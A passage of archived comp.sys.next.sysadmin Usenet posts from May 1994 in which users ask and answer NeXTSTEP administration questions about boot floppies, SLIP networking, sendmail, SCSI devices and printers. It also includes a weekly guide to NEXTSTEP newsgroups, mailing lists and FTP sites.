Again, thanks.
Dru
From: wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong)
Newsgroups: comp.sys.next.sysadmin
Subject: Help: Anyone have Bootfloppy for NS3.2?
Date: 9 May 1994 03:19:49 GMT
Organization: The Ohio State University
Distribution: usa
Message-ID: <2qka4l$srs@charm.magnus.acs.ohio-state.edu>
Hi,
Does anyone have a boot floppy for NS3.2? A friend of mine has a NeXT that
can't even bootup (Black). I'm trying to boot his NeXT up with a floppy.
I run the BootFloppy 3.0 and the files copied to the floppy is too big to fit.
NS3.2 has a very big libsys_s.B.shlib....
Or does anyone have a clue how to change the BootFloppy to make smaller disk?
Thanks in advance,
Andy
--
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// || // @
//==||/\\ @ "If you put your mind to it, you can accompish anything!"
// || \\ @ "BUT MY NeXTMAIL IS NOT WORKING YET!!!!!!!!!!!!!"
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: PNI 1.8 (was Re: Tool Command Language tcl7.3 & tclX7.3 compile?)
In-Reply-To: brent@shady.remote.ualberta.ca's message of 8 May 1994 17:35:27 GMT
To: brent@shady.remote.ualberta.ca (Brent Swekla)
Message-ID: <CEDMAN.94May8173116@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <ROBERT.94May8165332@steffi.demon.co.uk> <2qj7sv$orf@quartz.ucs.ualberta.ca>
Date: Sun, 8 May 1994 21:31:15 GMT
In article <2qj7sv$orf@quartz.ucs.ualberta.ca> brent@shady.remote.ualberta.ca (Brent Swekla) writes:
In article <ROBERT.94May8165332@steffi.demon.co.uk>
robert@steffi.demon.co.uk (Robert Nicholson) writes:
> <Miles@weighton.demon.co.uk> writes:
>
> >Anyone out there managed to compile & install tcl7.3 & tclX7.3?
> >I need to install these in order to get Louis Mamakos Transys PNI to
run,
>
> NO YOU DON'T!!!!!
>
> His binaries are already linked against the library.
Uh, have you tried PNI 1.8? For me (and the original poster, presumably)
it crashes looking for some tcl init file (not included in the 1.8
distribution) in /usr/local/<somewhere>. Version 1.7 works fine.
Could this be a bug?
IMHO, yes. The workaround is to 'mkdirs /usr/local/tclX/7.3a' and
'touch /usr/local/tclX/7.3a/TclInit.tcl'.
Carl Edman
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: PNI 1.8 (was Re: Tool Command Language tcl7.3 & tclX7.3 compile?)
Date: 08 May 1994 18:58:37 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May8195837@steffi.demon.co.uk>
References: <ROBERT.94May8165332@steffi.demon.co.uk> <2qj7sv$orf@quartz.ucs.ualberta.ca>
To: brent@shady.remote.ualberta.ca (Brent Swekla)
In-reply-to: brent@shady.remote.ualberta.ca's message of 8 May 1994 17:35:27 GMT
<brent@shady.remote.ualberta.ca> writes:
>In article <ROBERT.94May8165332@steffi.demon.co.uk>
>robert@steffi.demon.co.uk (Robert Nicholson) writes:
>><Miles@weighton.demon.co.uk> writes:
>>
>>>Anyone out there managed to compile & install tcl7.3 & tclX7.3?
>>>I need to install these in order to get Louis Mamakos Transys PNI to
>run,
>>
>>NO YOU DON'T!!!!!
>>
>>His binaries are already linked against the library.
>Uh, have you tried PNI 1.8? For me (and the original poster, presumably)
>it crashes looking for some tcl init file (not included in the 1.8
>distribution) in /usr/local/<somewhere>. Version 1.7 works fine.
Look tcl is a static library. Re: useless to users of SLIP.
Louie has announced that PNI 1.8 is toast. It's not functional in it's
current state.... He intends to fix and redistribute shortly.
The problems you are experiencing have very little to do with whether
you have TCL installed or not.
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printer on Intel System -- Mouse Freezes
Date: 9 May 1994 07:00:06 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2qkn1m$3i8@news.cs.tu-berlin.de>
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eps@futon.SFSU.EDU (Eric P. Scott) writes:
>4) The best way to connect a LaserWriter IIg to _anything_ is
> Ethernet. (Yes, I realize there's currently no decent
> EtherTalk Phase 2 software for NEXTSTEP. This won't always be
> the case.) Note that if you have a Mac running either
> System 7 or A/UX on the same Ethernet, you can have it
^^^^^^^^
> translate BSD lpr protocol to PAP.
You can? How? Enquiring Minds want to know!
>5) Intel sucks.
Actually, this should probably be point 5 through, oh, about 150.
Marcel
Newsgroups: comp.sys.next.sysadmin
From: ian_stewart@nyro.com (Ian H. Stewart)
Subject: Sendmail.mailhost.cf samples wanted
Message-ID: <CpItx9.MD@nyro.com>
Sender: ian@nyro.com (Ian Stewart)
Organization: NYRO Technix, Inc. - makers of Faxcess(tm), UUCP-EZ and other NEXTSTEP software.
Date: Mon, 9 May 1994 05:58:20 GMT
We are looking for some sample sendmail.mailhost.cf files.
We are especially interested in the following:
incoming domain name handling
(nyro.com - resolve this domain name locally)
outgoing domain name handling
this is the area we are interested in the most.
We would like samples of these types of sender addresses:
a) someone@domain.ext (i.e., ian@nyro.com)
b) someone@hostname.domain.ext (i.e., ian@tinman.nyro.com)
We are looking for cfs that do the least changes to the standard
NEXTSTEP supplied sendmail.mailhost.cf. Our current setup is
a UUCP connection to netcom. Thanks for any and all NeXTMail replies!
Ian_Stewart@nyro.com (NeXTmail accepted!)
Newsgroups: comp.sys.next.sysadmin
From: Douglas Moore
Subject: Comparing two bootable disks?
Message-ID: <CpEE03.B2E@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
Distribution: World
Date: Fri, 6 May 1994 20:23:12 GMT
Is there a way of comparing two filesystems, say a boot disk and the
system CD-ROM and noting the differences? I want to do a backup, but I
didn't do a level 0 dump after the original system installation.
Any ideas?
--
Douglas Moore
St Paul, MN
612-227-3274
dmoore@epx.cis.umn.edu <---NeXTMail ready
Newsgroups: comp.sys.next.sysadmin
From: Erik Dasque <ed@joker.fdn.org>
Subject: [intel] and possibly [m68k], Insite Floptical 21 Mb w/ AH 1542C
Message-ID: <1994May9.002633.7691@joker.fdn.org>
Sender: ed@joker.fdn.org (Erik Dasque)
Organization: French Guy Corp. - Paris, France.
Date: Mon, 9 May 1994 00:26:33 GMT
Everytime you have a problem, you look into your archived news because you
know someone has faced it before. And every single time, you realize that
you didn't same that particular one you needed. Well, DL can't find
anything about floptical in my news archive and FAQs.
I have an ADAPTEC 1542C SCSI controller and a NEXTSTEP PC (ATI,Bus
Mouse,...). A friend lent me an Insite Floptical Drive. It doesn't work. It
won't format a 1.44 HD disk, won't read a PC,Mac or NeXT 1.44 Disk. I
haven't tried a 21 Mb yet but I will buy one Tuesday.
I'll continue experimenting and saving the error messages. If you have
anything for, don't hesitate : he's selling it cheap to me ! ;)
Ed.
--
Erik Dasque "The French Guy" ed@joker.fdn.org
I know you believe you understand what you think I said, but I am
sure, you realize, that what you heard is not what I meant.
From: strickla@girtab.usc.edu (Bryan Strickland)
Newsgroups: comp.sys.next.sysadmin
Subject: NextStep FIP on SCSI device 1
Date: 9 May 1994 09:05:27 -0700
Organization: University of Southern California, Los Angeles, CA
Sender: strickla@girtab.usc.edu
Distribution: usa
Message-ID: <2qln07$3mb@girtab.usc.edu>
Hello,
I have the following setup on an Intel base system:
Two SCSI drives:
disk 0) OS/2 boot manager
DOS <primary>
OS/2 <primary>
Extended drives
disk 1) NextStep
I am currently using a boot floppy to boot NextStep and entering:
sd(1)mach_kernel
at the boot prompt. The only problem I am having is that when a user logs
in, a dialog pops up that says:
SCSI disk unreadable, (and asks to either ignore or initialize).
I assume it is referring to disk 0 (DOS, OS/2) disk. If I choose ignore,
NextStep goes happily on its way, and works fine. /etc/fstab has only one
entry, the one for disk 1. It appears, however, that during the boot process
NextStep polls all the devices, and then the workspace manager tries to read
them.
I would like to get rid of this warning, as I don't want anyone to accidentally
hit the initialize option. Does anyone know if there is a way to tell
NextStep to ignore disk 0 completely so that this dialog does not pop up
each time?
Thanks,
Bryan Strickland
From: geom2@sfb256.iam.uni-bonn.de ( Michael Moellney )
Newsgroups: comp.sys.next.sysadmin
Subject: NetWare 3.12 Printer
Date: 9 May 1994 16:28:45 GMT
Organization: Applied Math, University of Bonn, Germany
Message-ID: <2qlobt$l3o@news.rhrz.uni-bonn.de>
Hi!
I'm trying to raster PostScript files with GhosScript and to send it to a
HP LaserJet Series II on our Novell NetWare 3.12 Server.
But every time I send the Raster-File all 'binaries' are erased, only 'normal'
characters are left in the queue.
Is there a posiblity to disable this filtering ??
Thanks for any hints, Michael
From: kelly@shogun.nersc.gov
Newsgroups: comp.sys.next.sysadmin
Subject: Nextstep on IBM750cs
Date: 9 May 1994 16:42:59 GMT
Organization: National Energy Research Supercomputer Center
Distribution: world
Message-ID: <2qlp6j$mr2@cronkite.nersc.gov>
Has any one tried installing Nextstep on an IBM 750cs laptop?
If so what hardware configuration is needed, docking station,
etc?
--
Bruce Kelly L-561, P O Box 5509, Livermore, CA, 94551
kelly@nersc.gov National Energy Research Supercomputer Center
510-423-0640 Lawrence Livermore National Laboratory
Fax: 510-422-0435 University of California
From: Gary Palmer <pesky@scoob.xap.com>
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.mac.comm,comp.sys.mac.system,comp.protocols.tcp-ip,ca.unix
Subject: Re: Setting up a home LAN with NEXSTEP/Unix
Date: 9 May 1994 10:26:59 -0700
Organization: XAP Company, Inc.
Sender: pesky@xap.com
Distribution: ca
Message-ID: <2qlrpl$c9b@baird.xap.com>
References: <2qic19$479@crl.crl.com> <2qipqu$m29@portal.gmu.edu>
In article <2qipqu$m29@portal.gmu.edu>,
Christian Smith <csmith@blackplague.gmu.edu> wrote:
>Ok, here is what you should do. Since the NeXT is using Slip to get to the
>outside world, it has TWO network interfaces, call them slip0 and en0. Each
>of these should have its own ip address. The slip0 interface will get its
>ip from the slip server you connect to. The en0 interface will get its ip
>address from /etc/hostconfig. Now, you have two choices
Erm, I dunno much about NeXT, but FreeBSD (and other Unixes) can
run quite happily with the SLIP i/f address set to the ethernet card
address, since routing is done by the SLIP's destination address,
not by it's local address (AFAIK). I can say this (with a bit of
uncertainty) as the machine I am sending this from has a SLIP i/f to
Netcom (designation 'sl0'), and a Ethernet i/f toa 10bT LAN (designated
'ed1'). Both have been ifconfiged to have the same local IP address, and a
default route has been set to the gateway machine at the other end of the SLIP
link, with the ifconfig for the ed1 card setting the route
to the LAn correctly. Unless NeXT does things differently, only
one IP address should be needed by the NeXT. Certainly,
2 (or more) IP addresses are needed for machines with multiple IP i/f's
of a more traditional nature (ethernet, FDDI, etc), but I think most SLIP
implimentations would fall over if the 'en0' and the 'sl0' were given
separate IP addresses.
*However* I could be wrong, but this setup works fine for us.
>Choice one is easy, choice two involves setting routed on the next, and getting
>you slip prrovider to set you up with a subdomaine, which they might or might
>not be willing to do. I can't help you out to much with this one.
Again, AFAIK, routed isn't needed unless there are multiple possible
routes to the smae destination. All that is needed for SLIP is a default
route entry, made just after the SLIP interface is brought up.
Hope this help, and doesn't confuse anyone!
BTW: Can anyone give more details of the Nutshell routing book,
e.g. ISBN, etc? Thanks
Gary
From: dicosmo@dmi.ens.fr (Roberto DiCosmo)
Newsgroups: comp.sys.next.sysadmin
Subject: Booting an old cube (no floppy) from a CD
Date: 9 May 1994 17:39:07 GMT
Organization: Ecole Normale Superieure
Distribution: world
Message-ID: <2qlsfr$gu1@nef.ens.fr>
I remember seeing some posts an year or so ago,
when people were upgrading to 3.0, about the difficulty
of booting a cube (with no floppy, only the OD) from
a CD... I do not remember if it was possible or not:
reading now in NextAnswers, I found proper directions
to boot from a CD, but they all require a floppy if
the NeXT is a non-turbo one (like the cube we are trying
to upgrade) ....
Any ideas, suggestion? Even a simple "will not work, buy a floppy"
will help :-)
thank you very much for your help and patience ...
--
Roberto Di Cosmo <dicosmo@dmi.ens.fr>
LIENS
Ecole Normale Superieure
45, Rue d'Ulm
75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin
From: anand@denys.yale.edu (Anand R. Mehta)
Subject: Q: making machine single user boot again
Message-ID: <1994May9.174740.19781@news.yale.edu>
Sender: news@news.yale.edu (USENET News System)
Organization: Yale University
Date: Mon, 9 May 1994 17:47:40 GMT
Hi there.
When I first got my NeXTstation (Turbo, 3.1) I had to put a
password on the "me" account to force it to boot to the login
panel. Now I would like it to boot straight to the
workspace. I have tried removing the password, but that
still doesn't work.
What is the proper procedure for doing this?
Thanks,
-Anand
--
==================================================================
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We dance round in a ring and suppose,
But the Secret sits in the middle and knows.
==================================================================
From: gaia@wam.umd.edu (L. Anathea Brooks)
Newsgroups: comp.sys.next.sysadmin
Subject: How to boot from DOS disk?
Date: 9 May 1994 20:33:44 GMT
Organization: University of Maryland, College Park
Message-ID: <2qm6n8$dog@cville-srv.wam.umd.edu>
Hi folks,
I'm used to black hw, but this white hw is beyond
my ken.
How do I add a 2nd SCSI drive, install DOS/WIN 3.1
on it, and boot from it when I want instead of booting
NS 3.2?
I know I should know, but I've been using black hw
exclusively for 3 yrs, and have forgot basic
things like this.
thanks for the help
Robert de Lucca
Johns Hopkins University
Newsgroups: comp.sys.next.sysadmin
From: jjfeiler@relief.com (John Jay Feiler)
Subject: Problems with PNI 1.8
Message-ID: <CpJqq7.3C2@relief.com>
Sender: jjfeiler@relief.com (John Jay Feiler)
Organization: Relief Consulting & Development
Date: Mon, 9 May 1994 17:46:54 GMT
I'm having problems getting my slip connection to come up, and I'm hoping
someine out there more slip-savvy can help.
I'm using PNI 1.8, and calling in to Connected Inc. in seattle. I seem to be
able to connect fine, but I never get any packets back. I can ping my
gateway or my nameserver, but nil, nada, zilch. I can see the ping packets
going out by watching the modem send lights blink, but nothing comes in.
I've talked to the people at tech support for Connected, and packets are
indeed making it to them, but not back.
There is some mention in the installation notes for PNI that it wants you to
remove the /machines/broadcasthost/serves ../network property, but that
results in a completely hosed netinfo network. Could this problem be a
manifestation of the "Remote slip host can get confused by netinfo" bug?
Unfortunately, I have had a local network here in the past, and will in the
near future, so running as a non-netinfo network isn't an option.
Any suggestions/comments/clues?
Thanks,
John
--
John Feiler jjfeiler@relief.com
Relief Consulting & Development (206) 743-3953
4926 152nd St. SW NeXTmail Welcome!!!
Edmonds, WA 98026-4433 Independent NeXTSTEP Developer
--
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printer on Intel System -- Mouse Freezes
Date: 9 May 1994 09:01:22 GMT
Organization: Palumbian Research Labs
Message-ID: <2qku52$13c@marsu.tynet.sub.org>
References: <2qjfc3$3s6@nic-nac.CSU.net>
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Eric P. Scott writes
> 1) Intel sucks.
Yes.
> 2) NEXTSTEP 3.2 is a vast improvement over 3.1. Upgrade!
Yes.
> 3) Serial mice don't work well. Install a bus mouse.
No. The serial _driver_ does not work well. Any other stupid PC operating
system handles serial mice smoother than NS/I. I asked Mark Salyzyn for
a serial mouse driver based on Mux, and he said he might write one if he
has some time for it.
> 5) Intel sucks.
Intel still sucks. :-)
Markus.
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From: tuyo@mumford (Mike M. Tuyo)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc
Subject: Setting Up A Dial-In Modem
Date: 10 May 1994 03:16:02 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2qmu9i$540@senator-bedfellow.MIT.EDU>
I Would like to setup a modem on my NeXTStation '40 box, so I can
dial into it when I'm not home. I've don't what the DigiLib said to
do, but it doen't seem to work. I constantly see the send&recv lights
flashing. Can anyone give me some assistance? I would really
appreciate it.
Mike Tuyo
tuyo@mumford.mit.edu
Newsgroups: comp.sys.next.sysadmin
From: jscoggin@netcom.com (Jerry Scoggins)
Subject: Re: No Recycler on disk, Black HW
Message-ID: <jscogginCpKGFJ.n34@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <jscogginCp7vL0.9t9@netcom.com> <2q58du$sfg@nic-nac.csu.net>
Date: Tue, 10 May 1994 03:02:06 GMT
eps@cs.sfsu.edu sayz:
>In article <jscogginCp7vL0.9t9@netcom.com> jscoggin@netcom.com
> (Jerry Scoggins) writes:
>>They each have a .NextTrash directory, permissions are 755 on each.
>
>That's your problem. They need to be 1777 (the only way 755
>could work would be if the disk were automounted with file
>ownerships disregarded).
>
> -=EPS=-
Sorry I didn't follow up earlier. Thanks for the reply, but...
I tried that (setting the sticky bit), but it didn't make any
difference. When I do a ls -lag for each it shows drwxr-xr-x
for each of the .NextTrash directories.
Other ideas?
Jerry
Newsgroups: comp.sys.next.sysadmin
Subject: CDPlayer.app and NEC
From: damon.cooper@canrem.com (Damon Cooper)
Distribution: world
Message-ID: <60.6479.4955.0N19DCC7@canrem.com>
Date: Mon, 9 May 94 23:31:00 -0400
Organization: CRS Online (Toronto, Ontario)
After reading someone's mention of getting the CDPlayer.app working with
a NEC CD-ROM drive, I pulled the cover off my box and flicked the
suggested dip switche in an effort to get the CDPlayer.app to work...
Previous to this attempt, I had the Public Sound Server "ON", tried
logging in as root, etc, etc, but all could ever get was:
Probing for CDROM
Probing for DOS
Probing for mac
Probing for cdaudio
Then I got the famous "EJECT DISK" msg.
Okay.
Now to the current day. I read that somebody got it to work by flipping
the CD-ROM drive switch that puts the drive into SCSI-2 mode instead of
SCSI-1. I flipped the switch, but then when I re-boot the machine, the
adaptor scans the SCSI bus (as usual) but can't find the CD-ROM. The
CD-ROM "busy" light also flickers constantly when this switch is on.
Help! If anyone has a similar config to below with CDPlayer.app
working, I'd really like to hear about it!
My config:
-> Fujitsu 1G SCSI-2
-> NEC 84-I Internal CD-ROM drive
-> BusLogic 747S (the earlier ver that works with the Adaptec 1542
driver)
Thanks in advance!!!
Damon F. Cooper
damon.cooper@canrem.com
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From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 10 May 1994 02:36:35 -0400
Organization: Next Announcements
Message-ID: <2qna1j$i84@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
Stepwise NEXTSTEP/OpenStep Information Server
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
New Information
---------------
Stepwise NEXTSTEP/OpenStep Information Server
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and I'll be moving
the entire NEXTSTEP Third Party Catalog contents in as soon
as they become available.
Additionally the NEXTSTEP Product Information Mail Server will
be stocked full file files in the next week... you can get
information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi,comp.unix.questions,gnu.misc.discuss
Subject: Strange scsi errors....
Date: 10 May 1994 09:08:29 GMT
Organization: me organized? That's a joke!
Distribution: world
Message-ID: <ROBERT.94May10100829@steffi.demon.co.uk>
When doing my nightly backup with gnutar I'm getting.
st: cmd = 0x11 sr_io_status = 2H
Sense key = 0x0 Sense Code = 0x0
st: cmd = 0x11 sr_io_status = 2H
Sense key = 0x0 Sense Code = 0x0
on the console.
Why?
--
"Emacs isn't pretty. It's functional!"
(ASCII for text only messages)
From: kludge@grissom.larc.nasa.gov (Scott Dorsey)
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
Subject: DAT Stackers
Date: 10 May 1994 15:22:06 GMT
Organization: NASA Langley Research Center and Reptile Farm
Message-ID: <2qo8qu$6mk@reznor.larc.nasa.gov>
References: <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net> <2qav34$crl@nwfocus.wa.com>
In article <2qav34$crl@nwfocus.wa.com> kanefsky@halcyon.halcyon.com (Steve Kanefsky) writes:
>
>Can anyone compare the Archive DDS-2 drive with the HP (or the Sony)? My
>favorite drive vendor is only selling the Archive right now, and I want to
>know if it's worth going out of my way for the Sony or the HP.
I have been impressed with the HP drives, but I'd like to know if anyone
is manufacturing a stacker using them at this point. I rather like the
look of the Exabyte 4mm stacker which isn't yet available, but I'd rather
not deal with the bugs of a brand new product. (Does anyone have any
suggestions at all as far as DAT stackers go?)
--scott
--
"C'est un Nagra. C'est suisse, et tres, tres precis."
From: shviid@magnus.acs.ohio-state.edu (Steen H Hviid)
Newsgroups: comp.sys.next.sysadmin
Subject: slate won't see network on thinnet, ok on 10BaseT
Date: 10 May 1994 20:02:42 GMT
Organization: The Ohio State University
Message-ID: <2qop92$8bc@charm.magnus.acs.ohio-state.edu>
I have a problem with a slate which another department got, it won't recognize
the network on the BNC connector. If I plug it in on a 10BaseT line, it comes
up just fine, but not on the thinnet connector. I have tried it on two
connectors which both are known to work.
The machine is a NeXtstation with NS 2.0 on it. Any ideas?
Thanks
-------
Steen Hansen (Hviid)
Computer Specialist, Ohio State University
email: hansen+@osu.edu (NeXTmail accepted)
From: nturner@ccwf.cc.utexas.edu (Nelson Turner)
Newsgroups: comp.sys.next.sysadmin
Subject: Help! Can't fsck
Date: 10 May 1994 20:28:57 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <2qoqqa$8on@geraldo.cc.utexas.edu>
When I try to fsck on my Mono Station (or when the auto fsck is done at
boot time), I get the message:
Can't determine raw device name for /dev/sd0a
Anyone seen this before or have any suggestions? I'm afraid that my whole
fs is about to self-destruct. Thanks.
Trey Turner
nturner@ccwf.cc.utexas.edu
Newsgroups: comp.sys.next.sysadmin
From: cbradley@bozell.com (Chris Bradley)
Subject: Re: Floppy problems with SoftPC
Message-ID: <1994May9.215215.20882@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
References: <2q9bcv$jdo@cville-srv.wam.umd.edu>
Date: Mon, 9 May 1994 21:52:15 GMT
In article <2q9bcv$jdo@cville-srv.wam.umd.edu> gaia@wam.umd.edu (L. Anathea
Brooks) writes:
> We're trying to evaluate SoftPC on NS/Intel systems.
> Don't ask why. What we find is that 1/2 of the time
> SoftPC crashes and crashes the WorkSpace Manager - all
> has to do with floppy access under SoftPC. Attaching
> drive A: works, but often unattaching does not. NS seems
> to be seeking a disk in the floppy drive after unattach
> and hangs. Anyone?
Make sure that SoftPC was installed as "root".
--
Chris Bradley | cbradley@bozell.com
Techno-Slave, with Many Masters | +1 214 830 2273 vox
Bozell, Jacobs, Kenyon & Eckhardt, Inc. | +1 214 830 2687 fax
Advertising and Public Relations | "Born ready"
Newsgroups: comp.sys.next.sysadmin,comp.periphs.scsi
From: england@netcom.com (Justin England)
Subject: Re: DAT Stackers
Message-ID: <englandCpLsrJ.DqH@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
References: <2q6ffb$dd@panix.com> <2q93kv$v2d@inca.gate.net> <2qav34$crl@nwfocus.wa.com> <2qo8qu$6mk@reznor.larc.nasa.gov>
Date: Tue, 10 May 1994 20:26:00 GMT
kludge@grissom.larc.nasa.gov (Scott Dorsey) writes:
>I have been impressed with the HP drives, but I'd like to know if anyone
>is manufacturing a stacker using them at this point. I rather like the
>look of the Exabyte 4mm stacker which isn't yet available, but I'd rather
>not deal with the bugs of a brand new product. (Does anyone have any
>suggestions at all as far as DAT stackers go?)
>--scott
>--
>"C'est un Nagra. C'est suisse, et tres, tres precis."
